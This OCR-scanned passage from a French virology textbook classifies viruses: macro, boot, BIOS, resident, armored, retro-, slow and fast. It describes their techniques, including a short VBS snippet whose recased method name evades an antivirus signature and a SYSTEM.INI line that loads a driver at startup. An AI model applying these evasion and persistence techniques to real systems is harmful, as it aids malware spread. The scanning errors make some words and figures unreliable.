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par le MS-DOS). Le code proprement dit ne commence qu'a l'offset 29 tOOH. La contrainte forte est que la taille du fichier, apres infection, ne doit pas cxcedcr 64 Ko; executables *.EXE. Ces programmes, occupant plusieurs segments (pour le code, les donnees, la pile... ), sont decrits par une structure d'en-tete plus complexe comprenant notamment la table de translation des pointeurs. Cela permettra de gerer plusieurs segments lors de la projection en memoirc et de passer d'un adressage relatif (celui du fichier sur le disque) a un adressage absolu (en memoire). Le virus, en infectant la cible, va augmenter en general la taille du fichier, ce qui peut se traduire par une augmentation du nombre de segments. II faut dans ce cas modifier et renseigner de manierc adequate I'en-tete dexecntahle et notamment la table de translation des pointeurs, afin de ne pas provoquer d'erreurs lors de la projection en memoire ; - executables au format PE (binaires 32 bits). La structure consideree est I'en-tete PE, presentee dans la section 5.4.3 ; - fichiers de drivers (virus de pilotes de peripheriques). L'en-tete de ces fichiers est similaire a celui des fichiers *. COM et *. EXE (seull'offset de debut change) ; - fichiers VxD de Windows; - fichiers executables au format ELF 30 (Unix) (en-tete ELF et table d'entete). Seulle format de I'executable cible va finalement dieter les mecanismcs d'action du virus. Le programmeur doit done connaitrc intimement le format considere,



Virus de documents La notion de virus de document a ete longtemps mise en doute par bien des « experts» alors memc que les travaux de Cohen et d'Adleman avaient preuve, de facon theorique, leur existence (voir chapitre 3). La premiere concretisation de tels virus est apparue avec le macro-virus Concepti": en 1995 [89]. Depuis cette date, la proliferation des virus de documents n'a ccssc 29



30



L'adressage des donnees se fait, sans trop entrer dans les details, grace a une adresse de segment (Ia memoire etant divisee en segments) et dans le segment, par un offset, c'est-a-dire un deplacement par rapport au debut du segment considere. Pour une introduction detaillee au format ELF, consulter www.muppetlabs.com/ ~breadbox/software/ELF.txt



31



La dissemination, certainement accidentelle, de ce virus s'est faite par I'intermediaire de trois CDROM de la firme Microsoft. II est malheureusement assez courant que des zrands acteurs de l'industrie informatiaue. rnaterielle ou lozicielle. soient les vecteurs
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et ces derniers sont toujours une menace actuelle et representent, surtout pour des varietes peu connues, un risque important. Nous adopterons la definition suivante.



Definition 53 (Virus de documents) Un virus de document est un code viral contenu dans un fichier de donnees, non executable, active par un inierpreieur contenu de [aeon native dans l i ap_ plication associee au format de ce fichier (determine par son extension). L 'activation du code malveillant est realisee, soit par une fonctionnalite prevue dans I'applicaiion (cas le plus [requeni}, soit en vertu d'ime faille interne de l i application consideree (de type buffer overflow par exemple). Cette definition presente l'avantage d'etre tres generale et de ne pas se limiter classe la plus connue des virus de documents: les macro-virus. D'autres formats sont egalement concernes par le risque viral, au moins potentiellemente Dans [153], les principaux formats concernes dans le cas de Windows sont etudies en detail. Nous en reprenons ici le tableau synthctique donne par son auteur (voir tableau 5.3), en y ajoutant quelques autres formats pour d'autres plateformes. La colonne « risque» de ce tableau correspond a cinq niveaux de classification des codes malveillants donnes dans [153] que nous rappellerons ici, pour plus de clarte.



a la



1. Le format de fichier contient toujours du code, qui est directement execute a l'ouverture du fichier. 2. Le format contient parfois du code, qui peut s'executer directement. 3. Le format contient parfois du code, qui ne peut s'executer qu'aprcs confirmation de l'utilisateur.



4. Le format contient parfois du code, qui ne peut s'executer qu'aprcs une action volontaire de l'utilisateur. 5. Le format ne peut jamais contenir de code. Ainsi, dans le cas de virus comme Perrun et du format jpg, il ne s'agit pas de virus de documents car le format vecteur ne permet pas l'activation de code viral (a moins, hypothese jamais obscrvcc, qu'un logiciel de visualisation d'images, en vertu de failles logicielles, soit capable d'une telle activation). Dans le cas du PDF (Portable Document Format), l'exemple du virus Peachy illustre le risque 2 pour ce format qui peut contenir en son sein des cxecutables ecrits dans d'autres formats (VBS dans le cas de Peachy). Dans le cas des formats Word i Excel et Powerpoint, le risque oscille entre 2 et 3 selon de virus et de vers, preuve du fait que la mefiance et la vigilance de l'utilisateur doivent s'exercer en nermanence. sans distinction de notoriete.
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Format



Extensions



scripts WSH



VBS, JS, VBE, JSE, WSF, WSH



1



texte



Word



DOC, DOT, WBK,



2/3



binaire



Excel



XLS, XL?, SLK, XLSHTML,



2/3



binaire



Powerpoint



PPT, POT, PPS, PPA, PWZ, PPTHTML, POTHTML



2/3



binaire



OpenOffice



OD?



1



texte



Access



MDB, MD?, MA?, MDBHTML



1



binaire



RTF



RTF



4



texte



Shell Scrap



SHS



1



binaire



HTML



HTML, HTM, ...



2



texte



XHTML



XHTML, XHT



2



texte



DOCHTML



XML



XML, XSL



2



texte



MHTML



MHT, MHTML



2



texte



Adobe Acrobat



PDF



2



texte



Postscript



PS



lEX/B\lEX



1/2 ?



texte



TEX



TAB.



texte



5.3. Formats permettant l'existence de virus de documents



la configuration de ces applications (autorisation de I'execution des macros avec ou sans demande de confirmation). Le cas des virus en langage Postscript (un cas connu et plusieurs autres cas evoques) ainsi que des principaux autres langages concernes par ce tableau, dcpassc largement le cadre d'introduction que nous nous sommes fixes dans cet ouvrage. Le cas du format PDF est prcscnte dans le chapitre 12. Pour les autres formats, les virus qui s'y rattachent seront prcscntes en detail dans l'ouvrage faisant suite au present livre. Le risque attache au format 1EX est actuellement indetermine et fait l'objet d'etudes et de test. Nous allons nous limiter succinctement aux macro-virus (les principales sous-classes seront egalement « decortiquees » dans le chapitre 12). Les macro-virus affectent presque uniqucmcnt f les applications de la suite Office de Microsoft : Word, Excel, Access et Powerpoint. Toutes les versions de cette suite sont conccrnccs, y compris la suite Office XP. Bien 32



Ouelaues cas. maintenant historiaues. ont concerne l'annlication Lotus 1-2-3.
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qu e ces virus soient conside res comme anciens, ils represent ent cepe ndant un e menace encore t out a fait actuelle. Les echanges, t oujo urs plu s import an t s, de do cuments bureautiques favori sent les at t aques avec ce ty pe de virus. Des essais en laboratoire ont montre sans l'ombre d 'un dout e qu 'il est t oujours possible de contourn er a la fois les antivirus actuels et surtout les quelques fonctionnalites de protection et de det ection incluses dan s les version s suecessives des suites Office. Depuis plus recemment , la sui te OppenOffice est egaleme nt conce rnee par le risque vir al [64,105 ,111 ,11 3,1 54]. Des audits reguliers et recents dans l' administration ont mont re l'importance du nornbre des infections par les princip au x macro-virus (pour \iVord97 (W97M) , Exce197 (X97M) , Powerpoint97 (P97M) et Exce15 (XM)) .
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F IG. 5. 10. Nombre d 'attaques par macro -virus (Source : ad minist rat ions div erses)



La figure 5.10 montre la proportion d 'att aques par macro -virus durant I'annee 2002 et le premi er trimestre 2003. Selon le CLUSIF 33 , lor s de I'annee 2002 , sur les 170 differents virus ayant ete detectes et recen ses, 94 et aient des macro-virus, soit pres de 55,3 % des attaques ; en revan che, ces mem es macro virus ne representent que 1 377 alert es sur un t ot al de 274 825 alertes pour cet te annee-la. Cela s'explique par le fait qu e l'ecrasan t e majorit e des alertes 33
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est imputable a des verso Cela tient a la nature particulierement infectieuse de ce type d'infection informatique. La repartition des differents types de macro-virus est donnee dans le tableau 5.4 (sources: banque de donnees de virus de l'auteur et analyse de rapports d'alerte). Type



[[]



Word 6.0 41,13 Word 97



40,10



Excel 5



4,81



Excel 97



8,08



Office



3,98



Access



1,73



Powerpoint 0,17 TAB.



5.4. Repartition des differents types de macro-virus



Comment fonctionne un macro-virus? Lors de l'ouverture d'un document infecte (en mode par defaut, c'est-a-dire macros non desactivees ; notons que certains macro-virus, experiences a l'appui, sont capables de desactiver les fonctions de protection de l'application), le code viral se copie dans certains fichiers modeles qui lui sont associes (ainsi le fichier normal. dot pour Word que nous prendrons comme exemple dans ce qui suit; pour les autres applications d' Office, consulter [23]). Ainsi, toute creation ou lecture ulterieure d'un document sain produira un document infecte, par duplication du code viral dans le document. Le langage utilise est le VBA (Visual Basic for Applications), natif dans les applications de la suite Office. Ce langage offre de puissantes fonctionnalites, a travers un environnement de developpement intcgre. Concu a l'origine pour automatiser la frappe de sequences de touches, il a, depuis, largement evolue 34 et permet, entre autres : - de combiner un nombre indetermine de commandes en une seule ; - de crecr de nouvelles commandes et fonctions ; - d'automatiser des actions repetitives ; - d'ameliorer les fonctions et la souplesse de commandes; - de modifier les commandes d'une application; - de faire interagir les differentes applications Office; 34



Ce lansaze est remnlace Dar le lansaze XML.
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- de crecr des interfaces personnalisees. Ce langage, oriente objets et evenements, tres structure, utilise comme brique de base, dans les programmes, des procedures appelees macros, dont la structure est la suivante : Sub Salutations 'Cette macro ouvre une fenetre de dialogue avec un message MsgBox "Bonjour a tous" End Sub Parmi toutes les macros prcscntes dans les fichiers modeles (par exemple le fichier normal. dot pour Word), certaines ont des proprietes particulieres qui les rendent extremement interessantes pour la programmation de virus. Elles se repartissent en trois categories. - Les macros a execution automatique. Une seule macro figure par defaut dans cette categoric : la macro AutoExec qui s'execute au demurrage de Word, uniquement si elle se trouve dans le fichier modele global normal. dot. II est cependant possible de creer des macros de ce type et de les stocker dans d'autres modeles globaux. L'execution automatique d'AutoExec ne peut se faire si Word est lance avec l'option 1m. Outre une ergonomie amoindrie de l'application, il a ete constate que cette operation ne fonctionne pas toujours. - Les auto-macros. Elles sont, par defaut, au nombre de quatre. Elles s'executent lors de certains evenements, attaches a un document - AutoNew a la creation d'un nouveau document; - AutoOpen a l'ouverture d'un document existant; - AutoClose a la fermeture d'un document; - AutoExitala fermeture de Word. Leur role est la gestion des revisions de documents et des sauvegardes. Une description plus detaillee de ces macros est disponible dans [23]. II est « theoriquement » possible de les desactiver en enfoncant la touche Shift lors du lancement de Word. - Les macros usurpatrices. Ces macros, programmees par l'utilisateur, portent le nom d'une commande Word deja definie, Ainsi une macro denommee FileSaveAs ou ToolsMacros et situee dans le fichier modele global prend le pas sur la commande SaveAs du menu File, ou Macros du menu Tools 35 . II n'existe aucun moyen de desactiver cette « fonctionnalite ». 35



Nous avons pris comme cas celui, le plus frequent, d'un Word en langue anglaise. Les macro-virus sont sensibles a la version linauistioue.
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Par consequent, les macro-virus vont donc toujours inclure une ou plusieurs de ces macros, infectees, dans le code viral afin d'etre executes. Le lecteur trouvera une description du macro-virus Concept dans [89] et son code commente sur le CDROM accompagnant cet ouvrage.



Virus de demarr'age Deux types de virus peuvent etre decrits. Ils visent ou utilisent les organes specifiquement destines a amorcer le systeme d'exploitation : le Bios (Basic Input\ Output System), le secteur de demurrage maitre (MBR ou Master Boot record) ou les secteurs de demarrage secondaires (encore appeles secteurs d'amorce du systeme d'exploitation). Virus de bios Lors de la mise sous tension de l'ordinateur, le code contenu dans le Bios est active. Son role est de tester l'environnement materiel et ensuite de passer le controle au secteur de demarrage. A l'origine contenue dans des puces de type ROM (Read Only Memory), c'est-a-dire accessible uniquement en lecture, la technologie s'est tres vite orientee vers des puces accessibles en ecriturc. Des lors, I'ecriture dans le Bios par un virus devenait possible mais les seuls exemples connus (virus CIH [88]) ne font que detruire ce code. La faisabilite d'un virus infectant les Bios a longtemps ete mise en doute. Nous montrerons dans le chapitre 15, en considerant une definition legerement differente, comment realiser un virus de Bios. La philosophie generale de ce genre de virus est d'attaquer la machine le plus tot possible, avant le systeme d'exploitation. En effet, un virus de Bios presente plusieurs avantages fondamentaux : - il n'est detecte par aucun antivirus. Ces derniers surveillent au niveau du Bios le secteur de demarrage maitre et au niveau du systeme d'exploitation le disque dur et I'activite systeme. Aucun controle (si ce n'est un controle de parite) au niveau du Bios lui-meme n'est effectue, si tant est que cela soit possible pour un antivirus, etant donne la complexite des Bios actuels; - du fait de son antcriorite de lancement, tout programmev'' situe au niveau du Bios, ou lance par lui (si le code est present sur le disque dur) , peut agir sur les donnees prescntcs sur le disque. En effet, la notion de droits eventuels (dans le cas de systemes d'exploitation comme Unix, Windows NT ou 2000) n'existe pas encore a ce stade du processus 36



Certaines conditions au niveau de la taille sont cependant en e:eneral nas tron limitant.



a respecter



mais cela n'est



Taxonomie, techniques et outils



158



de demarrage. Ce programme pourra donc aller modifier et /ou leurrer tout dispositif de controle ou de surveillance du code Bios qui interviendrait une fois le systeme d'exploitation lance (controls dintegrite, comparaison de code... ) ; - reprenant le point precedent, tout programme lance par le Bios accede a n'importe quelle donnee sur le disque, sans limitation. Les possibilites en termes d'infection et de charges finales sont sans limite. Virus de demcrraqe



Le secteur de demarrage maitre (Master Boot Record ou MBR) prend le relais du Bios. Son role est de lancer l'un des systemes d'exploitation presents sur le disque via un secteur de demurrage (dit quelquefois « secteur secondaire »). Ce secteur de demarrage est un executable de 512 octets (donnees physiques du disque comprises) se situant a un endroit particulier du disque dur ou de la disquette. Sans perte de generalites nous ne considererons que le cas d'un disque duro Unc telle unite de stockage est organisee de la manierc suivante : - le disque est divise en plusieurs plateaux auquel le systeme accede (en lecture et en ecriture) au moyen de tot.cs de lecture (une par face de plateau) ; - chaque face de plateau est divisee en pistes circulaires concentriques (l'ensemble des pistes d'un memc rayon de tous les plateaux s'appelle un cylindre) ; - chaque piste est divisee en secteurs de 512 octets. Le secteur de demarrage maitre est localise en tete 0 (face superieure du premier plateau), piste 0 (la plus exterieure) et secteur 1. Le Bios, une fois ses propres operations effectuees, lui passe le controle, En fonction des partitions prcsentcs sur le disque dur, un secteur de demurrage secondaire (ou secteur de lancement du systeme d'exploitation) est execute. Les virus de boot vont donc attaquer et infecter ce programme particulier, charge de lancer le systeme d'exploitation. Deux techniques d'infection existent: - le virus est en realite un secteur de boot viral. II ecrase et remplace le secteur original sain. II posscde toutes les fonctionnalites d'un programme (secteur) de demarrage en y incluant des capacites virales (infection d'autres secteurs de demurrage : autres disques durs, disquettes). Le meilleur exemple est le virus Kilroy, developpe par M. Ludwig [166, chapitre 4]. Cette approche permet de gerer la contrainte de taille des 512 octets. Avec cette technique, le secteur apres infection ne denasse nas cette limite. La contrenartie est aue le virus nresente des
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fonctionnalites tres limitees (en particulier, il est depourvu de charge finale). Ce type de virus sera decrit plus en detail dans le chapitre 15, consacre aux virus de Bios; - dans le cas de virus plus complexes, possedant des fonctionnalites plus evoluees (furtivite, charge finale), la taille du virus depassc largement les 512 octets. II faut donc gerer les secteurs additionnels. Ces virus comportent generalement les elements suivants : - un secteur de demarrage viral SDV, qui va venir remplacer le secteur de demarrage original sain ; - plusieurs secteurs additionnels viraux (corps principal viral CPV). Ces secteurs sont generalement dissimules et./ou chiffres. C'est le secteur SDV qui rassemblera, lors de I'execution, les differents secteurs. Ces secteurs contiennent le code viral proprement dit. Le virus s'installe en resident et agit sur les unites qui peuvent etre amorcces et infectees, via l'interruption 13H du Bios; - une copie du secteur de demurrage sain. Le virus, une fois l'installation en memoirc effectuee pour pouvoir infecter d'autres secteurs de demarrage, redonne le controle au secteur original sain qui lui lancera le systeme d'exploitation, comme si aucune infection n'avait eu lieu. L'interet est de rendre le virus independant du systeme d'exploitation lance. Cette copie du secteur sain permet egalement de leurrer les antivirus en deroutant les ordres de lectures vers le secteur OU est stockee cette copie saine. A titre d'exemple, citons le virus Brain et le virus Stealth [92,166]. L'interet principal des virus de boot reside dans le fait qu'ils interviennent avant le lancement du systeme d'exploitation (OS), et donc de tout logiciel, en premier lieu l'antivirus. II est donc impossible d'interrompre son lancement au niveau de l'OS par le biais d'un quelconque antivirus. Ce dernier doit intervenir en amont, c'est-a-dire directement au niveau du Bios. Si plusieurs constructeurs de Bios intcgrent effectivement de tels antivirus, leur efficacite est limitee : ils ne savent gerer que le demurrage de Windows. Autrement dit, un secteur de demarrage modifie aux fins de lancer un autre (Linux par exemple) sera detecte et considere comme infecte ' Les utilisateurs finissent alors par le desactiver. De plus, le contournement de ces antivirus de BIOS n'est pas impossible (voir chapitre 15). Agissant tres tot, un virus de boot peut eventuellement mettre en place un certain nombre de mecanismcs lui permettant d'augmenter son efficacite et en particulier de limiter ou d'interdire sa detection. C'est la raison princiDale Dour laauelle les virus de boot renresentent une menace sinon actuelle.
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du moins potentielle. II faut malheureusement compter sur I'ingeniosite des programmeurs pour developper une capacite de furtivite 37 toujours plus importante. II faut surtout insister sur le fait, jamais envisage mais pourtant logique, qu'un virus de boot peut concerner n'importe quel OS et pas seulement les systemes Windows. Cela offre un champ de possibilites interessant - quoique beaucoup plus complexe a mettre en oeuvre - notamment sous Linux ou autres Unix libres, systemes d'exploitation de plus en plus rcpandus".



Virus comportementaux Cette categoric regroupe des virus qui se distinguent par leur comportement specifique : celui-ci a, en general, pour but de leurrer les antivirus, ou, au minimum, de les contrarier fortement. II s'agit egalement, pour certains, d'augmenter leur virulence. Ce qui a ete privilegie ici, c'est la manierc particuliere d'agir de ces virus. La « simple» notion de furtivite est dcpassec dans ce cas particulier de virus.



Les virus residents II s'agit de virus qui, une fois executes, restent dans la memoire, en tant que processus actif independant. Seul I'arret de la machine met fin a ce processus viral 39 . Une fois loge en memoire, le virus peut intervenir plus largement sur le systeme, son activite et les actions de l'utilisateur, en utilisant essentiellement les interruptions ou les API (13H pour les acces disques sous DOS, l'API Windows IFS ... ). Le pouvoir infectieux est alors considerablement augmente. L'execution d'un seul code infecte peut se traduire par l'infection de tres nombreux executables, Notons que le contr6le de la surinfection est plus que jamais necessaire, pour evitcr un engorgement de la mcmoire (par la multiplication des processus viraux). Dans le cas des virus 37



38



39



Le meilleur exemple est celui du virus M arch6, qui malgre un acces direct aux ressources disques et non plus via les interruptions du Bios, peut agir en cas de redemarrage a chaud (cas malheureusement encore frequent sous Windows). Cet evenement peut etre rendu plus frequent par une action directe mais mcsurec du virus, qui lui-meme fera redemarrer la machine, la nuit par exemple. Un exemple detaille d'un virus de boot sous Linux sera presente dans l'ouvrage faisant suite au present livre. Le redemarrage de la machine par l'utilisation combinee des touches Ctrl, Al t et Del, appele demarrage a chaud, peut meme etre contourne par un virus comme Joshi, en utilisant l'interruption materielle 9H (clavier) pour survivre malgre ce redemarrage (qui est, en realite, juste emule). Mcme en redernarrant la machine a l'aide d'une disquette saine. le virus demeure actif en memoire.
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residents, il est un peu plus difficile a mettre en oeuvre que pour les virus non residents (utilisation de fonctions renvoyant un signal, comparable a une signature dynamique, stockage d'une signature dans une zone mcmoire rarement utilisee comme la Bios Data Area ou la table des vecteurs d'interruptions, scanning pur et simple de la mcmoire ... ). Le passage en resident depend de la nature du systeme d'exploitation. Les differents cas sont les suivants : - sous DOS, le passage en resident se fait par l'utilisation de l'interruption logicielle 21H (DOS), service 31H ou l'interruption 27H40 . Le programme reste actif et le controle est redonne au DOS. Le registre DX contient l'espace (exprime en nombre de paragraphes de 16 octets) que le DOS doit laisser a disposition du programme resident. Dans le cas de virus de boot (comme Brain ou Stealth [92]), ces derniers « volent » litteralement de la memoire, en decrementant la quantite de memoirc physique, disponible pour le DOS au moment du demarrage ; cette quantite est contenue dans une valeur stockee a l'adresse 0040H : 0013H, exprimee en kilo-octets. Ces virus s'installent alors dans la partie haute de la mcmoire physique, ignorce par le DOS. L'acces aux fichiers a infecter se fait, soit par l'interruption 13H, soit via les nombreuses fonctions DOS (interruption 21H, services 4BOOH, 4BH, 3CH, 3DH, 3EH, 4EH, 4FH ... ).



- sous Windows, le passage en resident peut se faire de diflerentes facons : - utilisation de clefs de registres pour lancer l'infection virale au demarrage et changer la duree d'execution (TimeOut) ; - reservation de blocs de memoire via l'interface DPMI (DOS Protected Mode Interface) (service 100H) et installation de l'infection dans ce bloc (c'est Fequivalent du mecanisme de vol de mcmoire pour le DOS en decrementant la valeur stockee en 0040H: 0013H) ; - installation sous forme d'un Virtual Device Driver (VxD), charge statiquement via le fichier SYSTEM. INI 41 ou par le systeme, lors de la sequence de chargement du systeme d'exploitation. L'activation peut encore etre dynamique, par I'intermediaire d'un autre VxD (le VxD VXDLDR.386 est prevu a cet effet) ou d'un driver NT. 40



41



Cette interruption est consideree comme obsolete par IBM et Microsoft depuis la version 2.0 du DOS, mais elle est toujours disponible et certains virus l'utilisent pour des raisons de compacite de code. II suffit de rajouter la ligne device=Infection- VxD. 386 dans la section [386 Enh] . Cette methode est neu discrete et elle neut etre detectee Dar un utilisateur mefiant.
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Taxonomie, techniques et outils L'acces aux fichiers a infecter se fait par interception des appels a l'interruption 21H ou via les appels a certaines API Windows (comme le virus CIH par exemple [88]). - sous Unix, le passage en resident est plus cornplique ou d'un esprit different. La premiere solution consiste a lancer un processus infectieux sous forme de processus systeme (demon) mais cela necessite d'avoir des privileges particuliers, qu'un systeme Unix bien configure n'offre jamais. L'autre solution est de lancer le processus infectieux (par exemple, directement a partir de fichier de configuration comme . prof ile) en tache de fond (utilisation du symbole &). Cette technique est employee pour le virus ymun20, presente dans le chapitre 16.



Les virus binaires Ces virus sont tres peu connus et tres rarement evoques. A l'exception d'une courte evocation par Fred Cohen, dans [52, page 14]' il n'existe pratiquement aucune reference publiee, decrivant ce type de virus. Connus egalement sous le nom de virus combines ou de virus avec rendez-vous, aucun code viral de ce type, avant I'annee 2001, n'a ete detecte, a la connaissance de l'auteur, dans un quelconque environnement informatique. La premiere realisation d'un virus binaire, du moins publiee, est, semble-t-il, celIe de l'auteur [86] ; elle est detaillee dans le chapitre 16 avec la famille de virus YMUN, dcvcloppec pour la cryptanalyse des systemes de chiffrement. Quatre mois aprcs, apparaissait le virus Perrun reprenant, en partie, ces techniques [100]. Un virus binaire Vest, en realite, compose de deux virus VI et V2 , chacun ayant une action virale (infection et charge finale) partielle et surtout anodine. Le virus n'est alors veritablement efficace que lors de l'action conjointe des deux virus VI et V2 . Deux categories de virus binaires peuvent etre considerees : - l'action de VI et V2 est sequentielle, Ceneralement, VI active V2 . C'est le cas des virus Ymun et du virus Perrun. L'avantage est que l'infection par le virus V2 peut se faire via un format de fichier normalement considere comme inerte (fichiers image ou son, texte chiffre ...). Cela impose au virus VI d'etre resident; - l'action de VI et V2 est parallele, autrement dit, les deux virus sont actives independamment l'un de l'autre et doivent par consequent etre tous deux residents. Les deux virus combinent ensuite leurs actions respectives. Notons qu'il est possible generaliser I'idee de couples de virus agissant de manicre combinee, a des k-uplets; on parlera alors de virus k-aires).
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Les virus blirule»



Les virus hlindes (armored virus) sont des virus particulierement redoutables, non pas tant par leur action virale proprement dite, que par leur capacite a inclure des fonctionnalites contrariant plus ou moins fortement leur etude par desassemblage et execution en mode pas a pas (techniques de debugging). Ces techniques, qui peuvent etre tres complexes, reclament des prouesses en matiere de programmation en memc temps qu'un esprit particulierement retors. L'idee est la suivante. Pour etudier un virus, dans un contexte noncooperatif (c'est-a-dire ne disposant pas du code source), en general, seul le code binaire est disponible. 11 est alors necessaire de le desassembler et de I'executer instruction par instruction, afin de comprendre son mode de fonctionnement. Certains auteurs de virus, conscients de cela, ont alors imagine de contrarier, autant que faire se peut, cette approche. Le premier exemple connu et celebre est celui du virus Whale 42 . Son analyse complete est des plus difficiles [101]. Son code contient un grand nombre de mecanismcs destines a fortement contrarier son desassemblage et son analyse (code leurre, chiffrement / dechiffrement dynamique... ). Le virus chiffre existe dans le fichier cible infecte sous trente variantes. Les virus hlindes sont en general capables de detecter des processus d'analyse pas a pas et d'agir de sorte a empecher la poursuite de son etude (virus telefonica, virus Linux.RST qui termine le processus si ce dernier est en mode debug) allant jusqu'a bloquer le clavier et faire rebooter la machine (virus Whale). 11 est enfin possible d'interdire definitivement I'etude d'un code malveillant par des techniques cryptologiques adaptees, Ce cas sera detaille en detail dans l'ouvrage faisant suite a celui-ci. Le lecteur pourra cependant consulter [97]. Les retrovirus



Le terme de retrovirus designe, en virologie biologique, la classe IV des virus dits a ARN (acide ribonucleique). Contrairement aux autres virus, dont le materiel genetique est constitue d'ADN (acide desoxyribonucleique}, l'ARN constitue le genome des retrovirus. Mais le mecanisme de multiplication virale, via une enzyme appelee transcriptase reverse permet au virion'l' 42



43



Ce virus sera presente en detail, et son code source analyse en detail, dans l'ouvrage faisant suite a celui-ci [104]. Autre nom de la narticule virale.
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de transformer son ARN en ADN qui sera ensuite ins ere dans l'ADN de la cellule cible. A partir du genome infecte de la cellule, l'ADN viral servira de matrice pour l' ARN necessaire a la fabrication des autres virions. Le materiel genetique du virus etant intimement intcgre a celui de la cellule, il est alors transmis de facon hereditaire de parent a descendant. Pour plus de details sur les retrovirus, le lecteur consultera [127, chap. 8.6]. Le concept de retrovirus a ete repris par la virologie informatique mais de manierc incorrecte. Ce terme designe des virus utilisant les points faibles ou limitations d'un ou plusieurs antivirus particuliers afin de les leurrer et de ne pas se faire detecter. Un exemple relativement celebre est celui concernant, en 2001, le logiciel antivirus Norton l", qui ne savait pas gerer la difference entre les lettres minuscules et majuscules. Ainsi le script suivant, en langage VBS, detecte par l'antivirus :



Set dirwin



=



fso.GetSpecialFolder(O) c.Copy(dirwin&"\nom.vbs")



ne le sera plus si on le rcecrit ainsi :



Set dirwin



=



fso.GetSpecialFolder(O) c.CopY(dirwin&"\nom.vbs")



La faille a depuis ete corrigee mais signalons que, depuis, plusieurs autres faiblesses du meme type ont ete detectees, pour differents antivirus. N'ayant pas ete publiees, elles n'ont toujours pas ete corrigees et demeurent exploitables. Pour certains editeurs, la notion de retrovirus est elargie a des virus qui s'attaquent aux antivirus deja en place dans une machine, avant que ces derniers aient ete mis a jour : desinstallation, saturation, desactivation. L'appellation de retrovirus conviendrait cependant mieux aux virus en code source qui correspondent en tous points a leurs homologues biologiques. En effet, le mecanisme d'infection par transformation de l'ARN (equivalent au code binaire, produit a partir d'un code source) en ADN (analogue au code source) pour I'inserer dans l'ADN de la cible (c'est-a-dire le programme source cible) est comparable au mecanisme d'infection d'un code source.



Virus tents - Virus rapides Ces virus, en fait, sont le plus souvent de simples virus dcxccutablcs. fonctionnant selon l'un des quatre modes decrits precedemment et en mode 44



Voir



http://servicenews.symantec.com/cgi-bin/displayArticle.cgi?article=



3257&~rouo=svmantec.suooort.fr.custserv.~eneral&next=40&tore=fr&



5.5 Classification des virus et des vers



165



resident. Cependant, le controle de leur pouvoir infectieux leur fait adopter un comportement qui permet de leurrer les antivirus. Ce comportement particulier merite de distinguer ces deux categories de virus. - Les virus lents, en mode resident, n'infectent que les fichiers executables qui sont modifies ou crees (en general, par l'utilisateur; cet cvcncment est peu frequent, d'ou le nom de virus lents). Le but est de leurrer les antivirus, notamment ceux fonctionnant par controle dintegrite, en faisant passer la modification du code (integrite) et l'action infectieuse proprement dite comme Iegitimes. Le virus emboite donc le pas a l'utilisateur. L'antivirus ne voit (quand tout se passe comme le souhaite l'auteur du virus) qu'une seule action: celle de l'utilisateur. Citons le virus Dark Vader a titre d'exemple. - Les virus rapides, au contraire, eux aussi residents, infectent cette fois les fichiers qui sont executes ou ouverts (en lecture notamment). Cet evenement est frequent (d'ou le nom de virus rapides), tout particulierement lorsque l'antivirus recherche des virus : ouverture d'un fichier (recherche de signatures) ou execution de cet executable (emulation de code par exemple). Cette fois-ci, le virus emboite le pas a l'antivirus. Ce dernier ne voit alors que sa propre action. Citons, dans cette categorie, les familIes de virus Vacsina et Yankee, les virus Dark Avenger et Ithaqua. II importe d'insister sur le fait que le controle du pouvoir infectieux est une chose essentielle pour un virus efficace. Experiences a l'appui, un choix selectif et limite des cibles permettra plus facilement de passer les barrieres antivirales.



Definitions diverses Nous donnerons, afin d'etre le plus complet possible, quelques definitions supplementaires que le lecteur peut rencontrer dans la Iitterature ou sur certains sites Web. Leur pertinence n'est pas evidcntc et le vocabulaire n'est pas « normalise ». - Virus multi-partites.- Encore appeles parfois virus multimodes (ou multi-plateformes), ces virus infectent plusieurs types de cibles : secteurs de demarrage et fichiers executables (par exemple, le celebre virus CrazyEddie) , macro-virus infectant egalement les fichiers executables (virus Wogob infectant Word et les fichiers VxD de Windows 9x, ou Nuclear/Pacific infectant les documents produits par Word et les cxecutables DOS). Le but de ces virus est d'accroitre leur pouvoir infectieux en multinliant les cibles. Ces virus sont relativement nlus complexes
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a concevoir et a ecrire, ce qui explique qu'un bon nombre d'entre eux prcscntent des failles de conception ou de programmation qui, heureusement, ont limite leur action. - Virus multi-formats.- Ces virus, comme leur nom l'indique, sont capables d'infecter des formats appartenant a des systemes d'exploitation differents. Le cas le plus celebre est celui du virus Winux/Lindose, capable d'infecter a la fois les fichiers executables au format ELF de Linux/Unix et ceux au format PE de Windows. L'existence de machines en dual-boot (deux systemes d'exploitation presents sur le disquc'l") et celIe d'emulateurs (type VMware) rendent possibles des virus de ce type. Citons egalement le cas du ver Symbos_ Cardtrp.a (voir section 5.2). - Kits de contruction viraux.- Encore appeles generateurs de virus, il s'agit de logiciels plus ou moins elabores permettant la creation automatique, sur un mode modulaire (fonctions preprogrammees), de virus et de verso En fait, d'un point de vue theorique, cela est assimilable a un automate fini. Les « etar.s initiaux » de ces automates etant en nombre fini, le nombre de virus possibles que peut creer un tel generateur est lui-meme fini. Depuis le plus celebre d'entre eux The Virus creation Lab (VCL), de nombreux autres generateurs ont vu le jour. Certains ont pose de reels problemes (en particulier, le generateur de vers VBS Worm Generator [VBSWGJ, version 2.0), mais tous les virus et vers generes (par les kits connus) sont actuellement detectes.



Virus psychologiques Phenomene relativement recent et qui prend de l'ampleur, depuis quelques mois, les virus et vers psychologiques sont une nouvelle menace qu'il convient de ne pas sous-estimer, en particulier puisque son unique levier est I'element humain. Connus le plus souvent sous leur appellation anglo-saxonne (joke ou hoax), dont la traduction (respectivement « plaisanterie », « canular ») tend ales rendre inoffensifs, ils constituent une menace bien reelle qu'un antivirus ne pourra en aucune manierc contrer. Nous adopterons la definition suivante :



Definition 54 Un virus psychologique est une desuijormaiion incitant l 'utilisateur, par des techniques d'ingenierie sociole, a produire des effets equivalents a celui d 'un virus ou d 'un ver : propagation et action offensive. 45



Uno faiblesse de la configuration par defaut de la plupart des distributions Linux monte dans le systeme de fichiers, lors du demarrage de Linux, les partitions Windows (/windows/C/ ou /windows/D/ par exemple, dans les cas les plus courants). Cela permet a de tels virus d'acceder a des fichiers de formats differents. Le montage de ces nartitions ne do it nas etre automatiaue mais devrait rester manuel.
